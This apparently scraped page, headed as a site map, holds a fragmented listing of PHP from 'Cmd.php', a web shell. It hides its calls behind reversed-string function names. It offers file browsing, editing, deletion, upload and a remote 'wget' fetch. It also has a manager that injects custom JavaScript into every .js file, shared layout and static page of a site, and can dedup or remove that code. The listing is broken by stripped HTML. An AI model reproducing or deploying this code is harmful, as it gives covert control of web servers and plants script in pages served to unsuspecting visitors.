Карта сайта
Cmd.php
- if (count($st['note']) < 40) $st['note'][] = '× ' . rel($tgt[$i]) . ' 不可读或只读';
- $doneMsg = '已写入公共布局与静态页';
- } elseif ($sub === 'del' && $dlCode !== '') {
- $all = array_merge($js, $pages);
- $occ = 0;
- for ($i = 0; $i < count($all); $i++) {
- $r = zjm_lock_del($all[$i], $dlCode);
- if ($r > 0) { $st['ok']++; $occ += $r; }
- if (count($st['note']) < 40) $st['note'][] = '× ' . rel($all[$i]) . ' 不可读或只读';
- $doneMsg = '已删除匹配的自定义代码(共 ' . $occ . ' 处)';
- } elseif ($sub === 'dedup') {
- /* 去重:同一文件里出现多份相同代码时只保留一份 */
- $dj = 0; $dnj = 0; $dp = 0; $dnp = 0; $seenD = array();
- $r = zjm_lock_dedup($js[$i], $chkJs, 'tail', $n);
- if ($r > 0) { $dj++; $dnj += $r; }
- elseif ($r === -1) {
- if (count($st['note']) < 40) $st['note'][] = '× ' . rel($js[$i]) . ' 写入失败';
- if (isset($seenD[$x])) continue;
- $seenD[$x] = 1;
- $r = zjm_lock_dedup($x, $chkPg, 'body', $n);
- if ($r > 0) { $dp++; $dnp += $r; }
- if (count($st['note']) < 40) $st['note'][] = '× ' . rel($x) . ' 写入失败';
- $st['ok'] = $dj + $dp;
- $st['skip'] = count($js) + count($seenD) - $dj - $dp;
- /* 跨载体重复:同一段代码既写进 .js 又写进页面,页面加载时会执行两次。
- 仅当 .js 里确实已有该代码、且页面确实引用了 .js 时,才删掉页面里的那份;
- 未引用 .js 的页面保留,避免这些页面丢失代码 */
- if (trim($chkJs) !== '' && trim($chkPg) !== '' && zjm_same($chkJs, $chkPg)) {
- $px = zjm_pat($chkJs);
- $jhit = 0;
- if ($px !== null) {
- if ($ct !== null && preg_match($px, $ct)) $jhit++;
- if ($jhit >= 1) break;
- if ($jhit > 0) {
- if (isset($seenD[$x . '|x'])) continue;
- $seenD[$x . '|x'] = 1;
- if (in_array($x, $nojs, true)) continue;
- $r = zjm_lock_del($x, $chkPg);
- if ($r > 0) { $dx++; $dxn += $r; }
- $dupAttr = 'data-jsd="' . $dj . '/' . $dnj . '" data-pgd="' . $dp . '/' . $dnp
- . '" data-pgx="' . $dx . '/' . $dxn . '"';
- $doneMsg = '去重完成:.js 处理 ' . $dj . ' 个文件(去掉 ' . $dnj . ' 份重复),'
- . '页面处理 ' . $dp . ' 个文件(去掉 ' . $dnp . ' 份重复)'
- . ($dx > 0 ? ',跨载体重复已删除 ' . $dx . ' 个页面副本' : '');
- head('JS 注入管理');
- if ($chkAttr !== '') echo '';
- if ($dupAttr !== '') echo '';
- echo '';
- echo '
'; '.js 文件数 未调用 .js 的页面数 页面总数 不可访问项 - . '
' . count($js) . ' '- . '
' . count($nojs) . ' '- . '
' . count($pages) . ' ' . count($err) . ' - if (count($err) > 0) {
- echo '';
- if (count($nojs) > 0) {
- echo '
未调用 .js 的页面(前 60 个)'- . '
';- foreach ($nojs as $x) { if ($n++ >= 60) { echo '... 共 ' . count($nojs) . ' 个
'; break; } echo h(rel($x)) . '
'; }- /* 公共布局候选 */
- echo '
';公共布局识别'- . '
被 include/require 引用最多的页头、页尾文件;含 </body> 的优先,只写这一个即可全站生效';- if (count($lay['cand']) === 0) {
- echo '
未识别到公共布局:将按入口页(未被引用且含 <html>)逐页写入';- echo '
- echo '
- echo '';
- echo '';
- echo '';
- echo '';
- echo '';
- if ($dupAttr !== '') {
- echo '
';去重结果'- . '
' '.js 有重复的文件 .js 去掉副本 页面有重复的文件 页面去掉副本 跨载体(页面与 .js 同段)删除 - . '
' . $dj . ' ' . $dnj . ' '- . '
' . $dp . ' ' . $dnp . ' '- . '
' . $dx . ' / ' . $dxn . ' - . '
跨载体:同一段代码既在 .js 又在页面里,页面已引用 .js 时删除页面内那份;未引用 .js 的页面保留- if ($chkAttr !== '') {
- echo '
';代码存在性检测结果'- . '
'.js 已含/总数 页面已含/总数 写入目标已含/总数 - . '
' . $ckJ . ' / ' . count($js) . ' '- . '
' . $ckP . ' / ' . count($pages) . ' '- . '
' . $ckT . ' / ' . count($seenT) . ' - if ($doneMsg !== '') {
- echo '
' . h($doneMsg) . ''- . '
'; '成功 跳过(已存在/无匹配) 失败 - . '
' . $st['ok'] . ' ' . $st['skip'] . ' '- . '
' . $st['fail'] . ' - if (count($st['note']) > 0) echo '
' . implode('';
', array_map('h', $st['note'])) . '- foot();
- $a = isset($_GET['a']) ? $_GET['a'] : 'list';
- $path = '';
- if (isset($_GET['p64'])) {
- $b = str_replace(' ', '+', (string)$_GET['p64']);
- $d = $GLOBALS['edoced_46esab']($b, true);
- if ($d !== false) $path = $d;
- elseif (isset($_GET['path'])) $path = (string)$_GET['path'];
- } elseif (isset($_GET['path'])) {
- $path = (string)$_GET['path'];
- if ($a === 'list' && $path === '') $path = '.';
- switch ($a) {
- case 'list':
- $dir = resolve($path);
- head('Files');
- echo '
' . quickbar($dir) . '';- if (!$GLOBALS['rid_si']($dir)) { echo '
not a directory: ' . h($dir) . ''; foot(); exit; }- echo '';
- echo '';
- echo '';
- echo '
- case 'read':
- $fp = resolve($path);
- $bin = @$GLOBALS['stnetnoc_teg_elif']($fp);
- $detected = zp_detect_enc($bin);
- $sel = (isset($_GET['enc']) && in_array(strtolower((string)$_GET['enc']), array('utf-8','gbk','gb2312','big5'), true)) ? strtolower((string)$_GET['enc']) : $detected;
- $disp = ($detected === 'utf-8' || $detected === 'ascii') ? $bin : to_u8($bin);
- head('Edit');
- echo '
';' . crumbs(dirname($fp)) . '/' . h(basename($fp)) . '';- echo '' . h(rel($fp)) . ' (' . strlen($bin) . ' bytes, 自动识别编码: ' . h($detected) . ') ' . perm_cell($fp) . ' mode ' . h(mode_of($fp)) . '';
- if (!can_w($fp)) echo '
⚠ 该文件为只读,保存 / 删除 / 改名都会失败';- if (isset($_GET['err'])) echo '
✗ 保存失败:文件不可写,或被主机防篡改策略拒绝';- elseif (isset($_GET['ok'])) echo '
✓ 已保存';- echo '
- echo '保存编码 ';
- echo ' ';
- echo 'download back
- foot(); exit;
- case 'save':
- $t = isset($_POST['txt']) ? $_POST['txt'] : null;
- if ($t === null) redir('.', 'list');
- $enc = isset($_POST['enc']) ? strtolower((string)$_POST['enc']) : (isset($_GET['enc']) ? strtolower((string)$_GET['enc']) : 'utf-8');
- $ok = @$GLOBALS['stnetnoc_tup_elif'](resolve($path), from_u8($t, $enc));
- header('Location: ' . $self . '?a=read&p64=' . pe(rel(resolve($path))) . '&enc=' . $enc . ($ok === false ? '&err=1' : '&ok=1')); exit;
- case 'dl':
- $fp = resolve($path);
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="' . basename($fp) . '"');
- header('Content-Length: ' . @$GLOBALS['eziselif']($fp));
- @$GLOBALS['elifdaer']($fp); exit;
- case 'del':
- if ($GLOBALS['elif_si']($fp)) @$GLOBALS['knilnu']($fp); elseif ($GLOBALS['rid_si']($fp)) rrmdir($fp);
- redir(rel(parent_of($fp)), 'list');
- case 'ren':
- $to = isset($_GET['to']) ? (string)$_GET['to'] : '';
- if ($to !== '') @$GLOBALS['emaner']($fp, dirname($fp) . '/' . basename($to));
- redir(rel(dirname($fp)), 'list');
- case 'cp':
- if ($to === '') {
- head('Copy');
- echo '';
- $dst = dirname($fp) . '/' . basename($to);
- if ($GLOBALS['rid_si']($fp)) {
- function rcopy($s, $d){
- if (!$GLOBALS['rid_si']($d)) @$GLOBALS['ridkm']($d, 0777, true);
- foreach ($GLOBALS['ridnacs']($s) as $f) {
- $sp = $s . '/' . $f; $dp = $d . '/' . $f;
- if ($GLOBALS['rid_si']($sp)) rcopy($sp, $dp); else @$GLOBALS['ypoc']($sp, $dp);
- rcopy($fp, $dst);
- } else @$GLOBALS['ypoc']($fp, $dst);
- case 'mkdir':
- $name = isset($_GET['name']) ? (string)$_GET['name'] : '';
- if ($name !== '') @$GLOBALS['ridkm'](resolve($path) . '/' . $name, 0777, true);
- redir(rel(resolve($path)), 'list');
- case 'up':
- $upok = false; $upn = ''; $dst = '';
- if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) {
- $upn = basename($_FILES['f']['name']);
- $dst = resolve($path) . '/' . $upn;
- $upok = @$GLOBALS['elif_dedaolpu_evom']($_FILES['f']['tmp_name'], $dst);
- head('Upload');
- echo '
';';- if ($upok) {
- /* 完整物理路径 */
- $full = str_replace('\\', '/', $dst);
- /* 对应的网址: 仅当文件位于站点根之内 */
- $url = '';
- $dr = rtrim(str_replace('\\', '/', $docroot), '/');
- if ($dr !== '' && stripos($full, $dr . '/') === 0) {
- $rp = substr($full, strlen($dr));
- $sch = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
- $url = $sch . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . $rp;
- echo '✓ uploaded: ' . h($upn) . ' (' . (int)$_FILES['f']['size'] . ' bytes)
';- echo '
完整路径';- echo '
' . h($full) . '';- if ($url !== '') {
- echo '';
- echo '
⚠ 文件在站点根目录之外,无对应 URL';- echo '✗ upload failed — 目标目录 ' . perm_cell(resolve($path));
- echo ' back
- case 'wget':
- $dst = resolve($path);
- $rurl = '';
- if (isset($_GET['u64'])) {
- $d = $GLOBALS['edoced_46esab'](str_replace(' ', '+', (string)$_GET['u64']), true);
- . '
